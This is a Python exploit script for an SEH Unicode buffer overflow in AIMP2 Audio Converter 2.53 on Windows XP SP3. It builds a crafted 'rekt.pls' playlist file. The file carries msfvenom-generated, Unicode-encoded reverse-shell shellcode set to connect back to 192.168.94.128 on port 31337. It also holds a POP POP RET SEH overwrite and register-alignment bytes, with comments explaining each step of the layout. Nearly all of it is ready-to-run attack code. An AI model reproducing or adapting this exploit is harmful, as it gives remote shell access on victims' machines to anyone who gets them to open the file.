#!/usr/bin/env python

#-------------------------------------------------------------------------------#
# Exploit: AIMP2 Audio Converter 2.53 SEH Unicode Buffer Overflow               #
# OS: Tested XP PRO SP3 (Professional)                                          #
# Author: Amonsec                                                               #
# Software: https://www.exploit-db.com/apps/                                    #
#                   1bfa5e55b11542015dc5811fada84948-aimp_2.51.330.zip          #
#-------------------------------------------------------------------------------#

filename = 'rekt.pls'

#------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -e x86/unicode_upper BufferRegister=EAX #
#------------------------------------------------------------------------------------------------------------------------------------------#
shellcode = ''
shellcode += 'PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1'
shellcode += 'AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB'
shellcode += 'AB30APB944JBKLJH3RKPKPKP30TIZENQ7P1TTK20NPTKB2LLTKPRLTDK42O'
shellcode += '8LO87OZNF01KOVLOL1Q3LM2NLO0GQHOLMKQI7YRKBR227TK22LPTKPJOLTK'
shellcode += '0LN1D8YS0HKQ8Q21DKPYMPM1Z3DKOYLXJCNZQ9DKP4DKM1HVNQKO6LGQ8OL'
shellcode += 'MM1WWNXYP3EJVLCCMZXOKCMNDRU9TB8DKB8O4M1ICBF4KLLPKDK28MLM1HS'
shellcode += '4KKT4KKQZ0E914NDO4QK1KQQR9PZR1KOYPQO1OPZ4KLRZK4MQMS8OCNRKPK'
shellcode += 'PS83GBSNRQO2438PL2WNFLGKO8UX8TPM1M0KPO9940TB0RHNICPBKM0KOHU'
shellcode += 'R0B0B00POP0P10PP38JJLO9OIPKOZ54WRJKUBHI0W8QNCPC8KRKP3J2I3YY'
shellcode += 'V1ZN01FR72HEIG5D431KOXUU5I03DLLKO0NKX3EJL38L0GEURPVKOIES8QS'
shellcode += '2MBDKPTIYSR7QGR7P1KF2JN2291FK2KMS6WWQ4MTOLM1M1DMOTNDLP7VKPQ'
shellcode += '4PT0P1FPV26PFR60N26PVPS0VQXRYXLOOE6KOZ5U9YPPN26PFKO00C8M857'
shellcode += 'MM30KOXUGKJPFU721FQXUV4UGM5MKOYEOLLFSLKZU0KKYP45KU7KOWN3D22'
shellcode += 'OQZM00SKOJ5AA'

#----------------------------------------------------------------------------------#
# (*) Crash to nseh 4034-bytes                                                     #
# (*) nshe = '\x41\x00\x6d\x00'                                                    #
# (*) seh = '\x0e\x00\x45\x00'	pop pop ret | [aimp2.dll]                          #
# (*) Shellcode space = 1700                                                       #
#----------------------------------------------------------------------------------#
# (1) Crash to SEH                                                                 #
# (2) Use POP POP RET instructions (unicode compatible)                            #
# (3) Use harmless unicode instructions                                            #
# (4) Align EAX register                                                           #
# (5) Jump back in our shellcode                                                   #
#----------------------------------------------------------------------------------#
# Exploit's Structure:                                                             #
#                                                                                  #
#                                            (3)                                   #
#                                           +-----------> (4)                      #
#    [AA...AA] [shellcode] [AA...AA]   [nseh]   [seh]   [align]   [DD...DD]        #
#     +---------^-----------------------^------->   +         |                    #
#      (1)      |                       |___________| (2)     |                    #
#               |_____________________________________________| (5)                #
#                                                                                  #
#----------------------------------------------------------------------------------#
align = ''
align += '\x58'            # pop eax
align += '\x6d'            # nop
align += '\x58'            # pop eax
align += '\x6d'            # nop
align += '\x58'            # pop eax
align += '\x6d'            # nop
align += '\x58'            # pop eax
align += '\x6d'            # nop
align += '\x05\x02\x11'    # add eax, 0x11000200
align += '\x6d'            # nop
align += '\x2d\x10\x11'    # sub eax, 0x11001000
align += '\x6d'            # nop
align += '\x50'            # push eax
align += '\x6d'            # nop
align += '\xc3'            # retn

buffer = ''
buffer += '[playlist]\nNumberOfEntries=1\n\n'
buffer += 'File1='
buffer += '\x41' * 2242
buffer += shellcode
buffer += '\x41' * (4034 - 2242 - len(shellcode))
buffer += '\x41\x6d'        # inc ecx + add byte ptr [ebp],ch
buffer += '\x0e\x45'        # 0x0045000e pop pop ret | [aimp2.dll]
buffer += align             # Align EAX register
buffer += '\x44' * (5000 - 4034 - 4 - len(align))
buffer += '\n'

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
print '[*] With {} bytes'.format(len(buffer))
